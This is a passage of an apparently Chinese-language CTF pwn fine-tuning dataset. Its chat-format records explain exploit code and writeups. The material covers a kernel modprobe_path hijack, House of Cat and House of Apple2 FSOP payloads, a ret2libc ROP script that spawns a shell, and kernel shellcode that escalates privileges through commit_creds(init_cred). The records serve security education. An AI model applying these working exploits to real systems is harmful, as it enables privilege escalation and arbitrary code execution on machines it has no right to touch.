%p\\n\", (void *)kernel_base);\n\n    // hijack modprobe_path\n    puts(\"[*] hijacking modprobe_path...\");\n    alloc_buf(dev_fd[1], &data);\n    close(dev_fd[1]); // won't free the double free chunk, create a new UAF\n    data.user_buf[0] = kernel_base + MODPROBE_PATH_OFFSET - 0x10;\n    data.offset = 0;\n    data.length = 0x8;\n    edit_buf(dev_fd[2], &data);\n    alloc_buf(dev_fd[2], &data);\n    alloc_buf(dev_fd[2], &data); // get the chunk\n    strcpy((char *) &data.user_buf[2], MAGIC_PATH);\n    data.length = 0x30;\n    edit_buf(dev_fd[2], &data);\n\n    // trigger the exploit\n    puts(\"[*] trigerring fake modprobe_path...\");\n    system(\"echo -e '\\\\xff\\\\xff\\\\xff\\\\xff' > /home/trigger\");\n    system(\"chmod +x /home/trigger\");\n    system(\"/home/trigger\");\n\n    // read flag\n    memset(flag, 0, sizeof(flag));\n    flag_fd = open(\"/flag\", O_RDWR);\n    read(flag_fd, flag, sizeof(flag));\n    printf(\"[+] Flag: %s\\n\", flag);\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-05b83b99af7e82b5", "original_line": 327, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/RWCTF2022 高校赛 - Digging into kernel/exp.c", "split": "train", "split_group_key": "27900454c08e9bdaa78a931d"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/RWCTF2022 高校赛 - Digging into kernel/exp.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6b0356602e1872b7017e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3.5 触发」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 3.5 触发\n\n前两次 `fix` 分别用于：\n\n```text\n1. UAF 改 largebin 元数据\n2. UAF 伪造 FILE\n```\n\n第三次通过隐藏功能 `_fix` 写入 `fortune`：\n\n```python\np.sendline(str(4))\np.sendline(b\"74r0t#C@rd\")\np.send(shellcode.ljust(0x200, b\"\\x90\") + wide_data)\n```\n\n此时 `fixC == 0`，再选择菜单 `2`，程序会执行 `exit(0)`：\n\n```python\np.sendline(str(2))\n```\n\n`exit` 会刷新 `_IO_list_all`，进入伪造 FILE 的 `_IO_wfile_jumps` 链，最终跳到 `fortune` 执行 shellcode。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-3c1511f644b6623c", "original_line": 201, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6b856f745a4cd848a2dd", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「启动部分」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 启动部分\n\n脚本支持本地、GDB、远程和指定 loader：\n\n```python\npython3 exp.py\npython3 exp.py TEST\npython3 exp.py GDB\npython3 exp.py REMOTE HOST=x PORT=y\npython3 exp.py LOADER=/path/to/ld-linux-x86-64.so.2\n```\n\n如果存在本地 glibc-all-in-one loader，会优先使用匹配 loader：\n\n```python\nKNOWN_LOADER = '/tools/binary/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/ld-linux-x86-64.so.2'\n```\n\n否则直接用 `LD_PRELOAD=./libc.so.6` 运行。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-b9f827b33a060e7c", "original_line": 171, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6bbdd7f8c1d4be0b40af", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/ret2csu2.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/ret2csu2.c`\n\n分类：stack\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `init`\n- `main`\n- `ohMyBackdoor`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`\n\n训练用代码片段：\n```c\n// gcc ret2csu2.c -fno-stack-protector -no-pie -z now -o pwn -g -masm=intel\n#include \n#include \n#include \n#include \n#include \n#include \n\nchar *hello1 = \"Ret2csu is easy,isn't it?\\n\";\nchar *hello2 = \"Also a fun function in this elf.Remember to check it!\\n\";\n\nvoid init()\n{\n    setvbuf(stderr,0,2,0);\n    setvbuf(stdout,0,2,0);\n    setvbuf(stdin,0,2,0);\n}\n\nvoid ohMyBackdoor(__int64_t a,__int64_t b,__int64_t c)\n{\n    mprotect((void *)2,3,3);\n}\n\nint main()\n{\n    init();\n    char message[0xf0];\n    __asm__\n    (\n        // syscall(SYS_write,STDOUT_FILENO,hello1,strlen(hello1));\n        \"mov rdi,1;\"\n        \"mov rdx,26;\"\n        \"mov rax,1;\"\n        \"mov rsi,[hello1];\"\n        \"syscall;\"\n        // syscall(SYS_write,STDOUT_FILENO,hello2,strlen(hello2));\n        \"mov rdi,1;\"\n        \"mov rdx,54;\"\n        \"mov rax,1;\"\n        \"mov rsi,[hello2];\"\n        \"syscall;\"\n        // syscall(SYS_read,STDIN_FILENO,message,0x100);\n        \"xor rdi,rdi;\"\n        \"mov rdx,0x100;\"\n        \"mov rax,0;\"\n        \"lea rsi,[rbp-0xf0];\"\n        \"syscall;\"\n    );\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-8985e754c485a511", "original_line": 525, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/ret2csu2.c", "split": "train", "split_group_key": "a527a51d6381be4527df5a77"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/ret2csu2.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6bd45ed6982a6e06fefd", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/MINI-LCTF2022-kgadget/start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/MINI-LCTF2022-kgadget/start.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```bash\n#!/bin/sh\n\nqemu-system-x86_64 \\\n\t-m 256M \\\n\t-cpu kvm64,+smep,+smap \\\n\t-smp cores=2,threads=2 \\\n\t-kernel bzImage \\\n\t-initrd ./rootfs.cpio \\\n\t-nographic \\\n\t-monitor /dev/null \\\n\t-snapshot \\\n\t-append \"console=ttyS0 nokaslr pti=on quiet oops=panic panic=1\" \\\n\t-no-reboot\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-bbe8d73e13108856", "original_line": 321, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/MINI-LCTF2022-kgadget/start.sh", "split": "train", "split_group_key": "df21f43e3a072fea88d76b3b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/MINI-LCTF2022-kgadget/start.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6e3723c036989628ff6e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「利用思路」。\n资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 利用思路\n\nglibc 2.35 没有 malloc hook，且 seccomp 限制下不能 getshell，所以用 House of Cat：\n\n1. UAF 修改 largebin metadata。\n2. largebin attack 覆盖 `stderr` 指针，让它指向堆上的 fake `_IO_FILE`。\n3. 伪造 `_IO_FILE`、`_wide_data` 和 `_IO_wfile_jumps + 0x10`。\n4. 再次 largebin attack 覆盖 top chunk size，触发 `__malloc_assert`。\n5. glibc 报错路径会使用 `stderr`，从而走到 fake FILE 的 wide vtable 调用链。\n6. fake wide vtable 中布置 `setcontext+61`，把栈迁移到堆上 ROP。\n7. ROP 执行 ORW 读取 `flag`。\n\n关键 libc offset：\n\n```text\nstderr           = libc_base + 0x21a860\nsetcontext       = libc_base + 0x53a30\nread             = libc_base + 0x114980\nwrite            = libc_base + 0x114a20\nclose            = libc_base + 0x115100\n_IO_wfile_jumps  = libc_base + 0x2160c0\nsyscall; ret     = libc_base + 0x91396\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e962cda67b9d238d", "original_line": 229, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "split_group_key": "578233bae2b6c983d51c12ff"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6f26d549de36600ff274", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/fastbin_reverse_into_tcache/pwn.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/fastbin_reverse_into_tcache/pwn.c`\n\n分类：heap\n\n语言：c\n\n环境/依赖线索：\n- `#include`\n- `#include `\n- `#include `\n\n函数/封装：\n- `add_chunk`\n- `delete_chunk`\n- `edit_chunk`\n- `get_num`\n- `main`\n- `menu`\n- `show_chunk`\n\n利用主题关键词：\n- heap/tcache\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x100`\n\n训练用代码片段：\n```c\n#include\n#include \n#include \n\nchar *chunk_list[0x100];\n\nvoid menu() {\n    puts(\"1. add chunk\");\n    puts(\"2. delete chunk\");\n    puts(\"3. edit chunk\");\n    puts(\"4. show chunk\");\n    puts(\"5. exit\");\n    puts(\"choice:\");\n}\n\nint get_num() {\n    char buf[0x10];\n    read(0, buf, sizeof(buf));\n    return atoi(buf);\n}\n\nvoid add_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    puts(\"size:\");\n    int size = get_num();\n    chunk_list[index] = malloc(size);\n}\n\nvoid delete_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    free(chunk_list[index]);\n}\n\nvoid edit_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    puts(\"length:\");\n    int length = get_num();\n    puts(\"content:\");\n    read(0, chunk_list[index], length);\n}\n\nvoid show_chunk() {\n    puts(\"index:\");\n    int index = get_num();\n    puts(chunk_list[index]);\n}\n\nint main() {\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n    setbuf(stderr, NULL);\n\n    while (1) {\n        menu();\n        switch (get_num()) {\n            case 1:\n                add_chunk();\n                break;\n            case 2:\n                delete_chunk();\n                break;\n            case 3:\n                edit_chunk();\n                break;\n            case 4:\n                show_chunk();\n                break;\n            case 5:\n                exit(0);\n            default:\n                puts(\"invalid choice.\");\n        }\n    }\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-d9a2a50d103031c2", "original_line": 28, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/fastbin_reverse_into_tcache/pwn.c", "split": "train", "split_group_key": "a1949318229c580b5464950f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/fastbin_reverse_into_tcache/pwn.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-70594f5956aa41382834", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「House of Cat 布局」。\n资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## House of Cat 布局\n\nfake `_IO_FILE` 放在堆上，以 `_IO_wfile_jumps + 0x10` 作为 vtable，并把 wide-data 相关字段指向可控区域：\n\n```python\nfake  = p64(0) * 4\nfake += p64(0) + p64(0)\nfake += p64(1) + p64(0)\nfake += p64(heap_base + 0xc18 - 0x68)    # rdx for setcontext+61\nfake += p64(setcontext + 61)             # controlled indirect call target\nfake  = fake.ljust(0x78, b'\\x00')\nfake += p64(heap_base + 0x200)           # _lock\nfake  = fake.ljust(0x90, b'\\x00')\nfake += p64(heap_base + 0xb30)           # _wide_data\nfake  = fake.ljust(0xc8, b'\\x00')\nfake += p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x10)\nfake += p64(0) * 6\nfake += p64(heap_base + 0xb40)\n```\n\n`setcontext+61` 会根据伪造的上下文恢复寄存器和 `rsp`，最终把执行流转移到堆上 ROP。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-30ba91745644c051", "original_line": 222, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "split_group_key": "578233bae2b6c983d51c12ff"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-70ba1b34d2e9f2de15f8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2libc/LibcSearcher_64/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2libc/LibcSearcher_64/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x4009a0`, `0x00000000004006b9`, `0x0000000000400aec`, `0x0000000000400c81`, `0x0000000000400c83`\n\n训练用代码片段：\n```python\nfrom pwn import *\n\nio=process(\"./[CISCN 2019东北]PWN2\")\n#io=remote(\"node5.anna.nssctf.cn\",23824)\nelf=ELF(\"./[CISCN 2019东北]PWN2\")\ncontext(log_level=\"debug\",arch=\"amd64\")\n\nmain=0x4009a0\nrbx_rbp=0x0000000000400aec\nrdi=0x0000000000400c83\nrsi_r15=0x0000000000400c81\nret=0x00000000004006b9\noff=0x58\n\npayload=b'a'*off+p64(rdi)+p64(elf.got[\"puts\"])+p64(elf.plt.puts)+p64(elf.sym[\"main\"])\nio.recvuntil(\"Input your choice!\\n\")\nio.sendline(b\"1\")\nio.recvuntil(\"Input your Plaintext to be encrypted\\n\")\nio.sendline(payload)\nputs_addr=u64(io.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nsuccess(\"puts_addr：\",hex(puts_addr))\n\nlibc=LibcSearcher(\"puts\",puts_addr)\nlibc_base=puts_addr-libc.dump(\"puts\")\nsh=libc_base+libc.dump(\"str_bin_sh\")\nsys=libc_base+libc.dump(\"system\")\npay=b'a'*0x58+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nio.recvuntil(b\"Input your choice!\\n\")\nio.sendline(b\"1\")\nio.recvuntil(b\"Input your Plaintext to be encrypted\\n\")\nio.sendline(pay)\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-a1d600d4122096e5", "original_line": 541, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2libc/LibcSearcher_64/exp.py", "split": "train", "split_group_key": "54d69be2bf72284dab854d34"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2libc/LibcSearcher_64/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-70fc25b49e20abba291c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `Kernel/2024wdb` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`Kernel/2024wdb`\n\n## Writeup 蒸馏\n# wdb - Kernel Shellcode WP\n\n## 1. 题目结构\n\n附件里有两个虚拟机环境：\n\n- `vir1/bzImage`：Linux 6.5.8，启动参数带 `kaslr quiet`。\n- `vir2/bzImage`：Linux 6.6.56，启动参数带 `kaslr quiet pti=off`。\n- 两个 rootfs 里的 `/main` 完全一致，`memory.ko` 逻辑一致但按不同内核版本编译。\n- `server.py` 接收一段 base64 编码的 kernel shellcode，分别送进 vir1 和 vir2；vir1 输出作为 AES key，vir2 输出作为 AES-ECB 密文，最后由 `server.py` 解密得到 flag。\n\n本地附件中的 `/flag` 是占位值：\n\n```text\nvir1/rootfs/flag = dummy_flag_key\nvir2/rootfs/flag = dummy_flag_cipher\n```\n\n真实环境里 vir1 应该返回 16/24/32 字节 AES key，vir2 返回 base64 ciphertext。\n\n## 2. 用户态入口 `/main`\n\n`/main` 的主要流程如下：\n\n```c\nputs(\"Input ur b64_code: \");\nlen = read(0, code, 0x1000);\nfd = open(\"/tmp/b64_code\", O_CREAT | O_RDWR, 0666);\nwrite(fd, code, len);\nclose(fd);\n\nsystem(\"chmod 622 /tmp/b64_code && base64 -d /tmp/b64_code > /tmp/code\");\n\nfd_code = open(\"/tmp/code\", O_RDONLY);\ncode_len = read(fd_code, code, 0x1000);\nclose(fd_code);\n\nfd = open(\"/proc/kernel_shell\", O_RDONLY);\nread(fd, code, code_len);          // 触发内核模块执行 shellcode\n\nfd_flag = open(\"/flag\", O_RDONLY);\nif (fd_flag < 0)\n    puts(\"result: dummydummydummy\");\nelse {\n    read(fd_flag, flag, 0x100);\n    printf(\"result: \");\n    puts(flag);\n}\n```\n\n`/etc/init.d/S99root` 会把 `/flag` 设为 `700`，然后用 uid 1000 执行 `/main`：\n\n```sh\nchmod 700 /flag\ninsmod /memory.ko\nsetsid cttyhack setuidgid 1000 /main\n```\n\n因此 shellcode 的目标就是在返回 `/main` 之前完成提权，让后续 `open(\"/flag\")` 成功。\n\n## 3. `memory.ko` 分析\n\n模块初始化时创建可读的 proc 入口，并准备两个内核页：\n\n```text\nproc_create(\"kernel_shell\", 0666, NULL, &proc_ops)\nexec_page = __get_free_pages(...)\ndata_page = __get_free_pages(...)\nstack = data_page + 0xf58\nstrcpy(exec_page, init_code)\nlookup_address(exec_page, &level)\n清除 exec_page PTE 的 NX bit\n```\n\n`init_code` 位于 `.data`，作用是清空通用寄存器：\n\n```asm\nxor rax, rax\nxor rbx, rbx\nxor rcx, rcx\nxor rdx, rdx\nxor rdi, rdi\nxor rsi, rsi\nxor r8,  r8\n...\nxor r15, r15\nxor rbp, rbp\n```\n\n`/proc/kernel_shell` 的 read 回调逻辑：\n\n1. 从当前 task 的内核栈/返回上下文中复制一段数据到模块自建的 `stack`。\n2. 把用户传入的 shellcode 复制到 `exec_page + strlen(init_code)`。\n3. 设置 `rsp = stack`。\n4. `jmp exec_page`，先执行 `init_code`，再执行我们传入的 shellcode。\n\n关键点：\n\n- 题目启用了 SMEP/SMAP，但模块把 shellcode 复制到了内核页 `exec_page` 并清除了 NX，因此不需要跳回用户态执行代码。\n- KASLR 开启，需要在 shellcode 内获取当前内核基址。\n- 模块已经帮我们伪造/保存了一段返回用户态所需的内核上下文，shellcode 只要对齐栈后跳入 `swapgs_restore_regs_and_return_to_usermode` 即可回到 `/main`。\n\n## 4. KASLR 与双内核适配\n\n可利用固定映射地址 `0xfffffe0000000004` 读取一个内核 text 指针。实测它在两个内核中分别对应：\n\n| 环境 | kernel text base 计算 | `entry_SYSCALL_64` | `commit_creds` | `init_cred` | `swapgs_restore_regs_and_return_to_usermode` |\n| --- | ---: | ---: | ---: | ---: | ---: |\n| vir1 / Linux 6.5.8 | `leak - 0x808e00` | `base + 0x800000` | `base + 0x0a2ec0` | `base + 0xe40320` | `base + 0x8015d0` |\n| vir2 / Linux 6.6.56 | `leak - 0xa08e00` | `base + 0xa00080` | `base + 0x0b0fd0` | `base + 0x10405e0` | `base + 0xa01670` |\n\n运行态用临时 initrd 读取 `/proc/kallsyms` 验证过偏移，例如：\n\n```text\n# vir1\nffffffff8d4a2ec0 T commit_creds\nffffffff8dc00000 T entry_SYSCALL_64\nffffffff8e240320 D init_cred\nffffffff8dc015d0 T swapgs_restore_regs_and_return_to_usermode\n\n# vir2\nffffffffae4b0fd0 T commit_creds\nffffffffaee00080 T entry_SYSCALL_64\nffffffffaf4405e0 D init_cred\nffffffffaee01670 T swapgs_restore_regs_and_return_to_usermode\n```\n\nshellcode 先按 vir1 的偏移计算基址，再检查 `entry_SYSCALL_64` 的开头字节：\n\n```asm\nmov esi, dword ptr [base + entry_SYSCALL_64]\nand esi, 0xffff\nsub esi, 0xff3\njne kernel2\n```\n\n`entry_SYSCALL_64` 以 `f3 0f 1e fa`（`endbr64`）开头，低 16 bit 为 `0x0ff3`。如果用 vir1 偏移计算出的地址校验失败，就切到 vir2 偏移重新计算基址。\n\n## 5. 提权与返回用户态\n\n提权调用链：\n\n```c\ncommit_creds(&init_cred);\n```\n\n直接在 shellcode 中设置：\n\n```asm\nrdi = base + init_cred\nrsi = base + commit_creds\nrdx = base + swapgs_restore_regs_and_return_to_usermode + skip_offset\n```\n\n两个内核返回 trampoline 的入口略有不同：\n\n- vir1：`swapgs_restore_regs_and_return_to_usermode + 0x16`，落在 `mov rdi, rsp`。\n- vir2：`swapgs_restore_regs_and_return_to_usermode + 0x31`，同样落在 `mov rdi, rsp`。\n\n提权前需要调整模块伪造的栈：\n\n```asm\nadd rsp, 0x80\nmov rbp, qword ptr [rsp+0x18]\npush 0\npush 0\npush rdx        ; commit_creds 返回后进入 swapgs trampoline\npush rsi        ; ret 到 commit_creds\nret\n```\n\n由于 `rdi` 已经是 `init_cred`，`ret` 后先执行 `commit_creds(init_cred)`；`commit_creds` 返回时，下一项返回地址是 `swapgs` trampoline，从而恢复用户态上下文，回到 `/main` 继续打开 `/flag`。\n\n## 6. Exploit\n\n`exp.py` 中的 payload 如下，运行后输出 base64 shellcode：\n\n```python\nimport base64\nfrom pwn import *\ncontext.arch = \"amd64\"\n\nprotect_addr = 0xfffffe0000000004\n\nkbase_offset1 = 0x808e00\nentry_SYSCALL_64_offset1 = 0x800000\nswapgs_offset1 = 0x8015d0\ninit_cred_offset1 = 0xe40320\ncommit_creds_offset1 = 0xa2ec0\n\n## Exploit 关键代码\n### Kernel/2024wdb/exp.py\n```python\nimport base64\nfrom pwn import*\ncontext.arch='amd64'\n\n\nprotect_addr=0xfffffe0000000004\nkbase_offset1=0x808e00\nkbase_offset2=0xa08e00\nentry_SYSCALL_64_offset1=0x800000\nentry_SYSCALL_64_offset2=0xa00080\nswapgs_offset=0x008015d0\nswapgs_offset2=0x00a01670\ninit_cred_offset=0x00e40320\ninit_cred_offset2=0x010405e0\n\ncommit_creds_offset=0x000a2ec0\ncommit_creds_offset2=0x000b0fd0\nrop_offset=0xCB0787\nshellcode_all=f\"\"\"\n\n    mov rbp,rsp\n    mov rax,{protect_addr}\n    mov r15,qword ptr [rax]\n    sub r15,{kbase_offset1} ;r15=kbase\n\n    mov rax,{entry_SYSCALL_64_offset1}\n    add rax,r15 ;rax=entry_SYSCALL_64\n    mov esi, dword ptr [rax]\n    and esi,0xffff\n    sub esi,0xff3\n    test esi,esi\n    jne kernel2\n\nkernel1:\n    mov rdi,{init_cred_offset} ;rdi=init_cred\n    add rdi,r15\n    mov rsi,{commit_creds_offset} ;rsi=commit_creds\n    add rsi,r15\n    mov rdx,{swapgs_offset} ;rdx=swapgs\n    add rdx,r15\n    add rdx,0x16\n    jmp ret2user\nkernel2:\n    add r15,{kbase_offset1}\n    sub r15,{kbase_offset2}  ;r15=kbase\n    mov rdi,{init_cred_offset2} ;rdi=init_cred\n    add rdi,r15\n    mov rsi,{commit_creds_offset2} ;rsi=commit_creds\n    add rsi,r15\n    mov rdx,{swapgs_offset2} ;rdx=swapgs\n    add rdx,r15\n    add rdx,0x31\n    nop\nret2user:\n    add rsp ,0x80\n    mov rbp, qword ptr [rsp+0x18]\n    push 0\n    push 0\n    push rdx\n    push rsi\n    ret\n\"\"\"\n\n\nsh_all=asm(shellcode_all)\nprint(\"base64_all:\")\nprint(base64.b64encode(sh_all))\n```\n\n### Kernel/2024wdb/server.py\n```python\n#from Cryptodome.Cipher import AES\nfrom Crypto.Cipher import AES\n#from Cryptodome.Util.Padding import pad, unpad\nfrom Crypto.Util.Padding import pad, unpad\nimport os\nimport subprocess\nimport base64\n\ndef readuntil(process, until_text):\n\twhile True:\n\t\toutput = readline(process)\n\t\tif any(substring in output for substring in until_text):\n\t\t\tbreak\n\n\treturn output\n\ndef readline(process):\n\treturn process.stdout.readline()\n\ndef process_qemu(code, start_script):\n\tprocess = subprocess.Popen([start_script], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, bufsize=0)\n\n\treaduntil(process, [\"Input ur b64_code: \\n\", \"Power down\"])\n\n\tprocess.stdin.write(code+\"\\n\")\n\n\tresult = readuntil(process, [\"result\", \"Power down\"])\n\n\tif \"result\" in result:\n\t\treturn result.split(\"result: \", 1)[1]\n\telse:\n\t\treturn \"dummydummydummy\\n\"\n\nif __name__ == '__main__':\n\tprint(\"Welcome to Generic Linux kernel shellcode Challenge\")\n\tcode = input(\"Input ur b64_code: \\n\")\n\n\tprint(\"Virtual 1 Working......\")\n\n\tos.chdir(\"./vir1\")\n\tkey = process_qemu(code, \"./vir1_start.sh\").replace('\\n', '').encode(\"ascii\")\n\tprint(\"Virtual 1 Finished\")\n\n\tprint(\"Virtual 2 